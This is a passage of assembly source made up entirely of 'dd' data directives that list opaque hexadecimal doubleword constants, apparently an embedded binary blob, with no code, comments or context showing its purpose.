5C76E200h, 8364BDh, 87BE74E1h, 630297DFh, 7840D0AAh dd 400F9E8Bh, 9E517FDAh, 0A97B4F40h, 127CCBF6h, 5E05A6h dd 1C144868h, 7D09FE42h, 2259C282h, 213C4770h, 0FE387BA4h dd 7D44D487h, 348CC8C9h, 56D37700h, 0A89584D2h, 0C2CD405Eh dd 11FE9D02h, 412F6E8Eh, 18DC3594h, 0D785027Ah, 4E962EFAh dd 5AA4AF40h, 75706BF4h, 98A0EEEEh, 1800ACCBh, 1560DFF4h dd 2B876EFh, 0B18250C4h, 44C8B291h, 18025C3Dh, 0B8A91DCCh dd 5D044FDh, 3F577253h, 7CD41451h, 4A6AE181h, 0BC16D02Fh dd 44C87400h, 985AE1Fh, 3E9A00D2h, 0C2374626h, 0F900BC69h dd 23896AA3h, 10CD597h, 0FB8D2E77h, 9F75636Ch, 55C92681h dd 5C102022h, 4CD2FB5Dh, 0A212845Ah, 38D40EFAh, 8DCA1540h dd 0BE00AA4Fh, 767D9C08h, 5DDCE5h, 202A31D2h, 13662CDDh dd 9049A700h, 6D793958h, 87F600AFh, 0A4473F0Dh, 1A13BF12h dd 2440A8BDh, 0D7DECFB7h, 942F0055h, 0E149BA4Bh, 7B0051F9h dd 0A82AD536h, 4C7485h, 91DF4373h, 3D93152Bh, 0DAAE0E01h dd 4E5E5D99h, 4A7A453h, 0FA4B7220h, 4A0C90A6h, 7400F375h dd 474F6628h, 3E7F1Dh, 0ACD28B72h, 9F14E2ADh, 1CA6A202h dd 0C0819B48h, 163A6D60h, 23C09Eh, 5AA84430h, 0CE04A78Ch dd 6CFCECB2h, 0E0206081h, 482A4C34h, 0A494807Bh, 803724h dd 0F5777C3Bh, 2D244C32h, 8F800C38h, 0B97B8210h, 0A0B748E9h dd 0C4542041h, 0B51DD881h, 44895D8h, 0E8944D3Fh, 71408121h dd 5B6BFCD4h, 0E7770307h, 80FB7D42h, 2FFD9D04h, 7131007Eh dd 0A05E6F81h, 2009533Ch, 0A09B0EEDh, 4CCDFBF4h, 6C0806BCh dd 0A83834F9h, 0C3AC8859h, 4CE1B3E5h, 7D0464F9h, 0C0473264h dd 79A960C0h, 0CE1CA101h, 588CB7CDh, 0F4C1AC4h, 9A05E1CAh dd 7FC05463h, 306E1491h, 9CBB198Ah, 89D42D0Bh, 0F3D0A1F8h dd 48FA75F9h, 9806150h, 5C2C3C43h, 95AAD410h, 0AC691629h dd 59CDD887h, 4CF0D157h, 58961D7Dh, 660078FCh, 46D4493Dh dd 0BE0BC9F7h, 0A52ECEEFh, 6CC191C8h, 28806A98h, 516F4726h dd 571C85A4h, 0E4AB8981h, 45B8F480h, 72778D3Dh, 18817BA8h dd 180774DCh, 803994A1h, 8BEE0041h, 0F8DD9216h, 26D500EDh dd 2839BC3Ch, 4B007C68h, 917A64BEh, 3C3DF7Dh, 0EE8D5599h dd 6BDB4A7Eh, 948038B8h, 6DD88300h, 0CA998BDEh, 69A90042h dd 9CBD36C5h, 3700A824h, 0FF728883h, 14FCE39h, 94EB13FCh dd 0C5574E19h, 0AA0E480h dd 0A585DCE9h, 1FE5F400h, 0E4A461C9h, 8D930E30h, 0B06367FAh dd 0A1D1DAEFh, 0DFE1D29Ah, 11047020h, 0BEFE4000h, 3A57DC09h dd 0A48E1F0Bh, 1E88C36Ch, 8F80B898h, 0DB006911h, 1FB504B0h dd 3BD37ADh, 4B608AFBh, 0BEA0E941h, 5900AE14h, 0D285D655h dd 3C0744h, 0A00D6DF6h, 9FA8CB4h, 9DC19F1Dh, 0A8DCB94Ch dd 9A280114h, 0E288646Ah, 0B2CBD777h, 4B48BCD0h, 730E8476h dd 403F555Ch, 43C1E6F2h, 5FE3010Dh, 45FE667Fh, 118EF0D2h dd 9A3038h, 0D99C42BBh, 7406174h, 9268F17Fh, 7252E0C3h dd 0BB000C17h, 524A07Ch, 466DB9h, 0F5074E06h, 20B41680h dd 0FFEEF907h, 80EF24CCh, 7D52901Ah, 0F1011CBCh, 1221C014h dd 0FA42DD6Dh, 2825A80Eh, 0EDB3808Bh, 3339B4h, 3AFD82AEh dd 9124EEAFh, 53C22F07h, 0FAC05C51h, 244ABD75h, 1755F9h dd 2DA6AD5Dh, 815C4326h, 8A191CA7h, 185C400h, 397A61F2h dd 18F088F6h, 300A14DCh, 8A0656ACh, 0B5399385h, 752A04C0h dd 809E97F7h, 4B2789A9h, 84C02B54h, 0F4084300h, 2E25D82Fh dd 0C6536E81h, 0E33D3E1Ch, 0ACB26380h, 0FAB5CAFh, 744CD004h dd 0E8809472h, 95DD92Ch, 0FD01BB47h, 0FB84E080h, 1E160B15h dd 760278FAh, 0E066DBB5h, 30C664E5h, 0A8615A1Ah, 0BC38300Eh dd 0E110606Dh, 1DB148B3h, 803904EDh, 24AE4B99h, 0D47ECAEAh dd 9AF5E00h, 72C9B4E8h, 2CD11EDDh, 0FC9341E7h, 0F74AB092h dd 0C168FC00h, 3886C37Dh, 7290AEh, 6D33BE79h, 74134BFh dd 0C272C700h, 89DD8E3Ch, 0F5022421h, 0DE2E00A4h, 14C40E85h dd 0CE4FA00Fh, 0D54EC1ADh, 68801181h, 45E483D1h, 0F703335Dh dd 0A1FA60BAh, 0D003A0F5h, 0E5ED0025h, 0DBDEC84Dh, 9F076904h dd 2DF31D49h, 0C66529F0h, 58640371h, 0DF7A98C7h, 23638988h dd 30886900h, 42C1E9A3h, 819D0031h, 912CCC72h, 78FA6399h dd 8110A63Eh, 0B80F0ABh, 62B24D6h, 88B80EA6h, 3DEA2060h dd 78D27AC9h, 0C8520113h, 0CFB899BDh, 96B7D8C0h, 0ED06101h dd 94241231h, 76D7AC47h, 0C2B9F4C0h, 0B19A00A8h, 6E5868E7h dd 48F24667h, 0B440F72Ah, 0D2AAE104h, 3C81D69Dh, 0CAD84713h dd 0CD3E0745h, 2E306B89h, 0E8D16900h, 0FC00B3FBh, 1B14106Eh dd 6C73193h, 78C23F11h, 90005144h, 4157EB8Bh, 1E7E8247h dd 4119608Dh, 63FFAD1h, 1D40B953h, 877B50A5h, 59287A90h dd 0C56A58C0h, 0CBAC1414h, 0E100BC4Eh, 0CEB3D589h, 760764A0h dd 0FC5F7711h, 2F0D5820h, 0B10701B8h, 0FBA42BBEh, 8FD84C02h dd 63CC50Eh, 0FC86FE1Dh, 7A12CD4h, 0AB05B0ADh, 0EB78E031h dd 66281806h, 9A009CDEh, 0C97C488Ch, 9B570EDh, 3412C187h dd 30670C27h, 23EAF61Dh, 0C8D1B428h, 28ADDA00h, 0B1BC063Ah dd 0E04F00AAh, 5B8106Fh, 0BD00DB97h, 40E20C96h, 14D5774Ch dd 87BBF478h, 3A232900h, 0CA9C6936h, 73FAFE00h, 0B6F914ACh dd 903FE884h, 2CAA0040h, 0C65A5CBFh, 6C02F8EEh, 1C5973F2h dd 91509178h, 90EBF085h, 27B00469h, 0C220C17Ah, 0E431D89Bh dd 0AB0016F6h, 0F1A02DC9h, 7C6791h, 0A55D1424h, 0D3BE3008h dd 906073E6h, 82F73EC0h, 2C7C1444h, 20A4AC03h, 0B519B934h dd 0BDAB4A03h, 0C06F48F5h, 9B43888h, 26C72FC4h, 0C0812184h dd 0B697BB00h, 0A1D7A505h, 706001D3h, 30914B63h, 3106622h dd 0B618C813h, 0E4E0D0EBh, 1C541D4Dh, 0BA2500A1h, 0A98E8648h dd 0F1B43600h, 1042D070h, 944E14B9h, 770B0FCh, 31C3E6CAh dd 2E2A177h, 0DC69F9EFh, 25985D8Dh, 17E77E00h, 3AE34CF3h dd 9B1E0082h, 415EE83Eh, 0B5C7B1h, 0A3597F6Ch, 0A62018Dh dd 0E0E97203h, 8F22E0D7h, 90086F8h, 0F2AA3FF6h, 7F93317Ah dd 0AB013E67h, 18695500h, 0C15D8E6Dh, 0AD5CE903h, 7AFC2Ah dd 0C7DA0250h, 82D76803h, 1F6CC51Eh, 7F1BD440h, 0B9D14Fh dd 8F8ECA3Fh, 2FEB5D6Fh, 0E4699100h, 9F371E28h, 1017FADCh dd 0E4E5643h, 0C0404BA4h, 44866504h, 11CF00A0h, 370BBDFEh dd 8300AC48h, 3CBACE7Ah, 1D7C23C5h, 8052FD95h, 0BE6EAE32h dd 4D00B072h, 1B9ACDEAh, 48F621Ch, 0F6E384DDh, 60A1C05Eh dd 90A192E9h, 24ABC0A5h, 5D867C01h, 52E8F940h, 0B0762182h dd 9CA0630Eh, 0D42F5010h, 444F9400h, 9276E0A2h, 244A0F8Fh dd 0C03D1823h, 0CB5B67E4h, 0B9015A57h, 209D33AAh, 73302DBCh dd 137902C2h, 0E3B2A462h, 0EF088480h, 0A00020B9h, 8364FE86h dd 0FC040C99h, 712C2B80h, 0A1983040h, 80073068h, 37209E61h dd 5D0CA650h, 0D6B2005Ch, 2BD5A46Fh, 74A0930Dh, 4D2B2F8Ah dd 6C08C077h, 40F847D4h, 0FDE54476h, 827E3C2Eh, 7399C601h dd 0E2D0FBCAh, 0E32900E6h, 5B8ADF80h, 0F01C561h, 459762EFh dd 0A08377B0h, 49B87FA8h, 386AC964h, 9DD1D480h, 0F6A33037h dd 998884C9h, 266CC200h, 4AD42EB1h, 0F5AE00DCh, 9D8C5B2h dd 6700827Dh, 1E94EE15h, 2474C783h, 8E38D72Ch, 7720AA24h dd 11481B6Bh, 0BC004C71h, 0C50A93D4h, 0BF05D6h, 4E65FA06h dd 927A75CCh, 0DF9B2C00h, 310DC742h, 66E70E6h, 338FFB90h dd 0B6EA6832h, 0DA34D800h, 17D36D5Bh, 3B5E3E4Eh, 608C0824h dd 2D527D80h, 74A4F100h, 1D137B9Fh, 0EDA33FF8h, 4504E300h dd 11CD1FBBh, 2B0EDCA6h, 808E197Ah, 0D24BCED8h, 0EB300033h dd 5A23C314h, 37079B59h, 0F37816EFh, 98E03ED7h, 0A8838E0Ah dd 7DFDD8h, 0B55A6BABh, 6A7BBBBAh, 0A4D48200h, 0B9F10A86h dd 0F3E20185h, 90B74752h, 5D94203Eh, 5E9B8C04h, 5083CD1Ch dd 7DF2A883h, 27B50131h, 2D56C71Ah, 0AC283010h, 7849C303h dd 28A87Ah, 594F80B8h, 41A65647h, 389EF301h, 4AF2AD74h dd 1A0AFCh, 0A76BFA0Dh, 878DDBFh, 0C3B0FB00h, 1B4A47DBh dd 0F55B0FCDh, 0B960F6E0h, 2322D702h, 95063501h, 0EA18D56Eh dd 22FDAD4h, 5E17BA8Dh, 8C48130Dh, 9607A85Fh, 40508201h dd 0F47C98D9h, 37970339h, 4A834D62h, 0C09A3AF8h, 64358400h dd 525A2428h, 59DD6063h, 364F6CC3h, 7669AB12h, 60E95C00h dd 0E72D89h, 68771496h, 3F480D08h, 92B7D900h, 3A6D8709h dd 30FE888h, 77C2ACF8h, 0D6D076E3h, 660068C0h, 0B907D93Dh dd 585E1EC5h, 6700FCE6h, 9E9A27E8h, 0D7907CCEh, 0C279F500h dd 529D6954h, 0FFCD14EEh, 0E0078C77h, 198CF1DCh, 4100840Fh dd 9B8171A3h, 0C0B74F2Ah, 0DF0C100h, 4320DBBCh, 7256007Ah dd 0FFA785F7h, 952890CAh, 14906C52h, 73971300h, 0D6C27FD3h dd 6EB849h, 16CE946Dh, 5E7922D8h, 0E06DDC99h, 241177F0h dd 0BE648043h, 1CE3BA50h, 20EE71h, 3522D30h, 9B587D67h dd 3B0D09EDh, 2A9C00F8h, 0C5388Dh, 3C913029h, 8EE4CCD7h dd 1F0A81E8h, 0BCEDF780h, 0C861BB02h, 0CC4C4021h, 24F75DCh dd 79D6F0C9h, 98808227h, 18F3F86h, 524368C0h, 793E6EABh dd 0DA9000AFh, 0B07B94D0h, 2D1EFC8Fh, 80FBEA7Eh, 0F815C027h dd 796F760Dh, 0A20B013Fh, 734F19D7h, 49F05013h, 0B30047BFh dd 83FFF68Ah, 0E8CBBBEh, 203279F7h, 0F345AD60h, 0A0C13D76h dd 0B6D61EC7h, 6E20C457h, 480F042Eh, 2BC0244Ah, 50E8F40Bh dd 79AFBE00h, 0FABD2048h, 50C4A611h, 3E0DDB2Ah, 5C0279CAh dd 0EF4F89AFh, 0AB13C494h, 3D0085E4h, 0D28FBF7Fh, 56960135h dd 3CE98B17h, 3D3C6051h, 0FE9BF4A8h, 0C8418C0Ch, 1F8A1949h dd 80975D2Ch, 7D0A9024h, 0CE0E48F3h, 4912F932h, 1E09DDh dd 0B64C2184h, 86F70058h dd 9CED4193h, 3D000C9Eh, 441D1E8Fh, 9753E16h, 98C06D04h dd 570AC494h, 3C3EA7B9h, 6CDD003Ah, 2C25E0BAh, 0CE060FC6h dd 0CB20660Dh, 0D55FCD21h, 0BA03F73Eh, 5939BBA3h, 5420424Ch dd 5E011684h, 0D7E66014h, 6CC16433h, 468DD8h, 70D44CACh dd 7479CF42h, 147C4D24h, 0E2BB1C06h, 28CC8151h, 0DE21ECh dd 7AA44D69h, 0CDC5D2E0h, 62C04302h, 0C2869C4Bh, 0F1F89874h dd 0BBC1C0A7h, 0C2EA8E17h, 329EFC00h, 0D31067CFh, 0C98C9279h dd 0B4A00D70h, 0F2C5F4DCh, 0E416517h, 0DF028802h, 15F4804Dh dd 0ED5B77h, 0E7CB4CA7h, 4351C97Fh, 2EDD6F16h, 0AE868707h dd 241886Ch, 923F0FC3h, 0F46850D9h, 0CCB273C7h, 2557FA00h dd 0EE029A85h, 94C9043h, 336CC968h, 45279CAFh, 0B51120B6h dd 2534BB01h, 1CDCA97Dh, 980F6052h, 8506DA66h, 1032C12Ch dd 0F3DD8780h, 279A50Dh, 7C56C03Bh, 81FD4525h, 7EA1EB65h dd 342E1080h, 0FE3507ADh, 0E9D9C51Fh, 474ECEC0h, 0E0C262D6h dd 0C33B007Dh, 0E5BA90E0h, 0DA0082CAh, 24AF54CDh, 9DCC45h dd 7BAE28C2h, 95BCC767h, 7C7FBD00h, 0E0D5F166h, 76580F61h dd 980FEB80h, 13787BECh, 749F5C00h, 4839C9B2h, 0E560093h dd 0A3C53FDBh, 0C200339Ah, 61A75241h, 3BDF9F55h, 5781D658h dd 0F23DCA7Ch, 3C6F0F6h, 754950Ch, 0C148D3h, 0C3D4E8D1h dd 0BEF93C6Ah, 687A4406h, 20ACB3h, 6BD7D12Dh, 0D23FDA5h dd 3630FE70h, 70B1F8D0h, 2F6503B3h, 28F89F52h, 87BA1903h dd 88A6983Dh, 104F002h, 38B67FC8h, 4A1C9F1Fh, 8F400018h dd 0FDDB0954h, 0D30C14B8h, 0FEA04458h, 0D5098B6Ch, 7D93193Bh dd 7B988080h, 0E00C8766h, 3096D1D0h, 519500DBh, 0AB50A8BFh dd 7D7D5F56h, 81ED1100h, 0E62B32F0h, 92DF00BCh, 6C0A1DFCh dd 6116E20Dh, 0FF573Eh, 95274178h, 530EB52Eh, 8079C937h dd 8109F3ACh, 351800DEh, 0B411DA58h, 0F2004291h, 0C8D6A38Eh dd 0C330E5h, 8946B76Fh, 8C87AD41h, 0EFB85000h, 0A6384958h dd 5C9000F1h, 6BE6FF3Dh, 4F00F279h, 2B8CBF50h, 7C701A72h dd 8FECC8h, 0A0EC306Ch, 41D1EB56h, 0B454C12h, 5388D300h dd 0C7905FC9h, 0C0ABD978h, 7C2266Dh, 0BFA94200h, 44B8438Dh dd 1B3A1C2Eh, 57BDC024h, 6BF21963h, 0F6E30D0Eh, 56EE402Ah dd 0B5B85h, 0E481C261h, 0E31553D5h, 0DEE54604h, 80C0D0CDh dd 0F74C14h, 0FB74C9C4h, 7CAC7169h, 73B7D10Fh, 51A140E9h dd 1DBAE156h, 1F0AA5E3h, 28CDDE08h, 0A0B27EBAh, 10FC98h dd 41501EF1h, 0D95D2D1Ch, 0ADB93Fh, 0BC055C1Fh, 1DFBFC12h dd 0C08DA0D4h, 66C8A4AFh, 0DF00E5B8h, 0D6A250C4h, 18B6AEE0h dd 599B124Ch, 8100EF18h, 30273839h, 260D9EC9h, 271DA2h dd 8CCAF5BFh, 0C700F257h, 2A9D8562h, 0A08175B5h, 14312ACh dd 0CD1E304Ah, 3001F080h, 9200EF6Fh, 0C453412Eh, 4C038B27h dd 3F28DACAh, 0AE6800A4h, 293972CCh, 7008EA7h, 0BA039188h dd 14E297EFh, 0C441F960h, 0C5052Ch, 1DAD571Bh, 0CA1D2AEAh dd 0C5001073h, 0B10978B6h, 0ABD600E6h, 768F8A5h, 323B3E85h dd 5C63803Ah, 2BC75913h, 90FF0C88h, 8D183FDCh, 6892E360h dd 0ECF111h, 5F58FB57h, 281BA3DCh, 21E01212h, 2D0D1C40h dd 3FC4D8ACh, 30B9C299h, 0A91A2B02h, 0ECE08958h, 0B00875Dh dd 0E5ED8F4Eh, 398D5140h, 6F837506h, 0F7338E03h, 4287F580h dd 0E3579700h, 274F9460h, 91F600C8h, 0DC135AACh, 2200F711h dd 3FB05828h, 28A18BCCh, 843AA4h, 8D30D392h, 0B8D159FCh dd 58F65D00h, 425439A2h, 8FA5036h, 6DC00010h, 2A6C5E1Ah dd 7E6B1E2h, 9F83491Fh, 52B73240h, 98617F41h, 0ADA3009Ch dd 0CAAA8286h, 0D0008AFEh, 0EC487787h, 36831h, 76F5EF5h dd 71218D06h, 0A3B0503h, 0C0B20BCDh, 7151F0C5h, 99140EEDh dd 8B607EE1h, 0A45D63C1h, 12025Ch, 2FC4247Ch, 0DD2ECEh dd 0DABF1623h, 636D4B29h, 94F06105h, 4420A401h, 1FF66499h dd 4755D8F1h, 0A5F858A1h, 9DC500EBh, 0C16A7868h, 8F51C000h dd 948A2813h, 47A40A82h, 6CCF715h, 0F06AE3F1h, 22BC6614h dd 0FF2A0EE5h, 8618E78Fh, 3DEA9A71h, 18DD4160h, 31CCE606h dd 250075BAh, 6FA485CBh, 533A1Ah, 4A894E5Ah, 9430B338h dd 0D900A3FAh, 0CB8E4052h, 0E6681FEh, 0B811277Eh, 979F3740h dd 5B000214h, 1CCDB50h, 1CB2C3AAh, 40DDBF05h, 1126402Ah dd 8500B315h, 9B823639h, 20EE824h, 12815E46h, 86E08D79h dd 970CC2DCh, 0F8652737h, 99CC03E2h, 2330BCA4h, 6A87ADBh dd 0FA3BC0F6h, 2F619D4Ch, 6B1183C6h, 702201D0h, 0FB4807ABh dd 548FE129h, 0D8E40094h, 0C7219510h, 4DF058h, 9E446C99h dd 9CACDAh, 0C5B31AA5h, 62AAF3F9h, 0B80028E6h, 6F7764C9h dd 0E45A83C0h, 0D40EC0D1h, 0ADF05F0Eh, 7876AE30h, 1E10121Eh dd 92BFF82Fh, 71540028h, 83DD6539h, 7006E903h, 0C833E47Ch dd 0CE7C098h, 0F7809F87h, 5F7F1031h, 0D4780800h, 91E680Bh dd 0A4E6038Ah, 44154861h, 33952A8h, 0DD16EC0Fh, 490A8087h dd 60C2A21Dh, 1C05496Ah, 0EDB84528h, 21CBDE04h, 188098BBh dd 24AB59F7h, 5000541Eh, 95795A5Eh, 78CEE131h, 5021D1A0h dd 0EEA408h, 49FA4661h, 7BC7E292h, 0C5A88901h, 0E528A6D0h dd 0AEE7C4h, 277FDB3Ah, 8E64BAC7h, 8563D50Fh, 48B49401h dd 0E26000EDh, 91F9C4DCh, 0E1463BFBh, 144D2B00h, 6FE93C84h dd 7C6D1528h, 82AAD139h, 0C256710Dh, 0E239C040h, 1936007Ch dd 28ADCD49h, 12028E05h, 0FB31384Dh, 48A84C85h, 0F680E0FFh dd 3E557F8Dh, 0CC6D2807h, 0FC4A1253h, 1C85C4AAh, 1AD60A80h dd 2C6E692h, 0D0243AF4h, 0F8A07567h, 1CAA0251h, 3841500h dd 0E449735Dh, 2AA9F095h, 0F306C77h, 0B9ACED7Ch, 0C6406140h dd 4E4880E6h, 43D7210h, 4811A888h, 0F5E594A0h, 0B014E43Ah dd 18D13060h, 7920286Eh, 0C4F002ACh, 65ADA86Fh, 88E94540h dd 0B466E119h, 0E42086B9h, 88304931h, 0CE929E0Ah, 3AC683A0h dd 0ADB851D1h, 3B00659Ah, 89C35A80h, 0B8B00314h, 999C0041h dd 0F3923351h, 0FF00AAF4h, 91AB43B9h, 301E3BD6h, 910DEA9h dd 4CB89F49h, 0EC1FE200h, 60C166F0h, 0BC7900D3h, 0BD43E082h dd 0B0F298Eh, 200AA226h, 5E9A9D23h, 0DFAF002Fh, 0ED8AB7A9h dd 9EEA11C4h, 0A7B24F00h, 231F4DDBh, 0E7E30018h, 164A587Fh dd 100C007h, 0F3960D09h, 1418EBCh, 6BAAAC2Fh, 8738A115h dd 0EA80FD89h, 9EB935A0h, 38300B2h, 0B3D9EDB4h, 0E5030F1Bh dd 1D1FEC52h, 0E819E37Ah, 1866D7B7h, 10B3D631h, 271875E0h dd 7150FDA7h, 7FB83C6Eh, 0FB56A2Ch, 0B60D0B9h, 593427A2h dd 0ED0AC900h, 87E4B060h, 793F647h, 2081A62h, 4D099043h dd 0BE0044B4h, 13EC8B23h, 66896CFh, 0EE0A5A94h, 0BF00213Fh dd 0FBC69B21h, 7C7962Ah, 0D8BD4C2Dh, 3E88200Eh, 772E2ED6h dd 62006954h, 5CFA37ECh, 3AFB0023h, 2B0D8348h, 78003F1Fh dd 30602D8h, 0E1C67Fh, 0E7338584h, 465D80B1h, 0A60F7906h dd 300C2Ah, 594A5622h, 5C06AB6Bh, 0DF725300h, 264B901Eh dd 0B2DE0F58h, 0A880C877h, 3766E7D3h, 52062EEEh, 3B1BA669h dd 0F62D0069h, 77E1C4E3h, 7C482ABBh, 924100B4h, 714CB95Ch dd 0B14D00F6h, 0C4E0233Bh, 9289319h, 0DB0A848Bh, 0B0A26A75h dd 5D68Bh, 0AC25962Fh, 4BD9C0B8h, 0ADD8BF65h, 2900C672h dd 6CC206E3h, 7E40FA4h dd 80EA4550h, 4CEE0276h, 0A543A880h, 0A100ABFEh, 5CD4D861h dd 7993BC6Bh, 628C01CAh, 47814272h, 8331B9C2h, 0FB2C1756h dd 18CA98F6h, 6C571C2Fh, 8BA9473Bh, 43B16CE5h, 805D902Ah dd 0B993D203h, 0F0D1Fh, 60DEBFA8h, 0A0CE33EDh, 83582A39h dd 0D7DB6C9Fh, 4EE6E005h, 50590720h, 80BAD570h, 85E3ECA8h dd 0BDA0CF02h, 98C80644h, 0EC633D0h, 39B16677h, 0D4361B40h dd 2098BE5Bh, 0C70EA600h, 713E40BDh, 0A530C728h, 6E54A1A4h dd 0E5196CAh, 0A4AD100Ah, 3A708181h, 18849D10h, 9706596Dh dd 89AAC140h, 662981CDh, 6993171Eh, 0C05AD4h, 0F71CB68h dd 0EBA277E2h, 1800948h, 0D9CE0C93h, 0B1812BA8h, 57FB4B2Ch dd 445C20D0h, 0F0C97912h, 0FCB17840h, 0FC710D1h, 0A20C012h dd 18DB45A1h, 7228D822h, 8904250Fh, 80A094E4h, 0CB2C4959h dd 0AC2F4801h, 0C2B8D129h, 34907A81h, 0AB71630Bh, 0E9F6A00h dd 38A81FD9h, 6F7000Fh, 51E7072Bh, 31C0E436h, 34A2CEA6h dd 0F08848D5h, 0E56C04A0h, 85654400h, 76AD10EBh, 536200E7h dd 4FC08EDh, 0B2014255h, 3EA32D01h, 905C65AEh, 16BA00D1h dd 9F954103h, 0F90F3FDAh, 0A3AC99E5h, 732C587h, 7A5167C8h dd 46A07F7Fh, 0A3CA9E4Dh, 0D052D400h, 61F6D8FFh, 273603F2h dd 1E4DB9A0h, 0CA5DBEB0h, 0A0CA700h, 69DE28AFh, 7E98000Bh dd 331468B6h, 0FB0051F8h, 907A2AB4h, 10EE485h, 5A79E998h dd 0CBACA7FDh, 43E270C0h, 6781ED01h, 545B3E57h, 306CF720h dd 0BB9E2A5Eh, 0C548F670h, 64EC0098h, 56D6CB4Fh, 7B4B0034h dd 0ADFCC0B1h, 0D009C8Ch, 0BDD70898h, 64F020h, 77072863h dd 4433AE6h, 49768A00h, 0DF966C42h, 0F2E500CCh, 342FAC7Fh dd 0BF60721Fh, 19B6638h, 0BBB330CFh, 986DD510h, 33D41104h dd 4BC063D3h, 373EADh, 0FB87C843h, 3A0A587Eh, 89F5030Bh dd 6E288162h, 22DCF096h, 2DD0002Ah, 491CE272h, 0C43BFF9Dh dd 0C6EB8164h, 9F48EFC3h, 6F7C9C0h, 3D766EDh, 0FB00485Fh dd 98C2FE62h, 1C9CFA52h, 0C0D92C9Ah, 99D431B0h, 0E403508Bh dd 0E943B294h, 1F5E909Fh, 82BD006Ah, 0E8BE6719h, 593EC7B9h dd 6E00F9EAh, 0D82369DFh, 18E60B04h, 0A1BAC617h, 630078D1h dd 0C2406636h, 720454Bh, 62EA23EDh, 2DFD5004h, 1D7C4CD3h dd 73656C00h, 39BD2A24h, 0EC0D02C7h, 4A3DCF6Dh, 0D0CBC057h dd 80230071h, 28A15EE5h, 30C154CDh, 2930E207h, 3EC12081h dd 0D51C19E3h, 2C24E0D8h, 0B6D7F300h, 8E151031h, 9B43276Ah dd 0BD96B880h, 0C32ED837h, 3000E9A2h, 4F3D26CFh, 7118C0F4h dd 4515EB84h, 7B3F99F2h, 0F58D8768h, 0C5B03C0Ch, 56BD82h dd 63759FF2h, 0C23E9806h, 2601DDB8h, 78C15416h, 8FCA1E6Bh dd 48C39C80h, 19CE22AAh, 3188FA18h, 0D580F030h, 61F977E4h dd 0C30BDF0h, 0C9F91AD3h, 0D08C002Fh, 3EAEDBBCh, 0AB038635h dd 0B77C54F7h, 9A381827h, 0E12D509Dh, 0C79F210Ah, 0D000906Ah dd 145685EDh, 0CC930E18h, 8A0B477Eh, 80D43B08h, 21551C2Bh dd 6A00F280h, 0B92835A3h, 9CB08Eh, 0B47F74D7h, 73662781h dd 8991C260h, 1276EE53h, 48204Bh, 0B267C557h, 0C709B56h dd 0D1F03B00h, 0D69A96B8h, 9DC607A2h, 32A2318h, 7800C2E3h dd 11058E71h, 48A8EEh, 0CC7FA408h, 0E30F4102h, 2E4B9600h dd 79229CE4h, 8D21013Ah, 507D043h, 4A72D042h, 5AD320C0h dd 0DA2F79h, 1395D72Ch, 921F3B53h, 0CC826B00h, 0CA61BABFh dd 18DDF278h, 1860BB48h, 0E001D280h, 3BAE6C44h, 7083ACB0h dd 7659876Eh, 60007CEBh, 0E188DEC4h, 716FAC4Ch, 8D46362h dd 200E87F8h, 0C0882617h, 56E78496h, 3068E4A0h, 6B40E42Dh dd 0FD1D0C37h, 178331FEh, 396D3CCFh, 0D01F0170h, 927346B4h dd 41E312Ch, 3959B1E1h, 60E40E11h, 75E30151h, 0DDBB4FB4h dd 0FB54D0B3h, 3AED20C0h, 3A2A55Fh, 839D7FE7h, 0E1A0D811h dd 92037287h, 6DA0EFFEh, 6F7CB825h, 0ECB0A982h, 793D18C6h dd 0FC211526h, 9D99B021h, 79F0CA21h, 6B690070h, 3A278324h dd 4D54E31Ah, 0D3005CC0h, 60DB430Ch, 1334535h, 5F22B1CBh dd 0D4F97861h, 0C16198D0h, 89EE12E8h, 9DB9399Eh, 46B2C1E6h dd 0E718753Eh, 0FF16C384h, 0D8332CD1h, 8A1D7FF1h, 4070DCD8h dd 5088EF35h, 0F25643Ah, 8091C712h, 8186CD00h, 0D239F5A7h dd 85A500C9h, 984060A2h, 0AFA10066h, 0CD53BC46h, 9356DD13h dd 0FACA0204h, 0BDCBE0D1h, 0C030A30Ch, 17189F2Bh, 982A6C00h dd 0EE61E56Dh, 9E672894h, 0C855082h, 8EC4295h, 952B8F1Eh dd 0C62A1859h, 2131430Ch, 0C4659083h, 1D22921Ah, 10CF619h dd 0BBB12186h, 42EFF908h, 0F513BF74h, 0BD3F1844h, 0CA45122h dd 1805322Ah, 4484BC85h, 0AE147249h, 769CDA21h, 55F37101h dd 0A56E22D9h, 3E41A848h, 2B00255Bh, 0A2D817CFh, 0B8A80E20h dd 0B6002A46h, 97540B3Dh, 3752CAD1h, 0C338CCECh, 0CED3514Dh dd 0D0F4F583h, 0CD69D001h, 98EFBF1Ch, 9CD4F040h, 7D1C6A4h dd 2BF51E12h, 0FE363B2h, 1C7320D8h, 130B08C0h, 7C4CD99h dd 3B57F91Dh, 4071E1A9h, 0FE4DF985h, 16ED4C98h, 0D4D9CE60h dd 0FB4EA4h, 1589923Ah, 98205414h, 0CDED738h, 0C89DD24Dh dd 17D1007Ch, 4BD6C6D0h, 66E88291h, 95344200h, 0CA98BC6Eh dd 0DD370E20h, 0D39F176Fh, 0FE00FF9Dh, 9284DB45h, 0F989764Ah dd 5CF6AAD0h, 7000E460h, 0A1EC3ECCh, 2701060Fh, 0F4E3E507h dd 1CD4025Dh, 1F7A705Eh, 40269204h, 968D093Fh, 0C70059A2h dd 1591DF41h, 4849E9CFh, 0D000FD7Fh, 68CDA40h, 1D283DE5h dd 0E102145Eh, 0EEE69545h, 0E3A9032Ch, 0CFFCC01h, 53FA1AFh dd 5312B0D0h, 0F5245C13h, 0C4810E99h, 0B99B85A0h, 8238EAACh dd 394D8083h, 621B0FC1h, 3C067A19h, 0FE80DA8Dh, 0C75F466Bh dd 0E6309F9Dh, 4DFF8991h, 0B0830020h, 0DE8CDBC0h, 0F57B59E2h dd 92403B66h, 0B50B0729h, 202C951Dh, 38A98CD7h, 0F0E1B1DDh dd 0B846D655h, 714CAAA7h, 9B07AADh, 5DD7003Ah, 0BF6ED14Fh dd 62285693h, 4701B442h, 36753996h, 0F88CC2B4h, 0E410954h dd 3FE8B7Ch, 0CCCDCF2Ah, 0DA874700h, 4238CEBh, 0B620EECh dd 0C300B0BEh, 9718C2DFh, 0F0D0BF07h, 0B910C794h, 0D10840h dd 5DF7CBADh, 398CE527h, 0DFC15F1Dh, 7994F64Ch, 0F8F30041h dd 59042B8Dh, 8101BB78h, 736A65ADh, 0B083A29Fh, 644B511h dd 8C40E889h, 41658A90h, 0CE0F0386h, 4F4B8F77h, 8ACA310Eh dd 61CB6068h, 52D14EE0h, 80BDAC7Fh, 0E4A64298h, 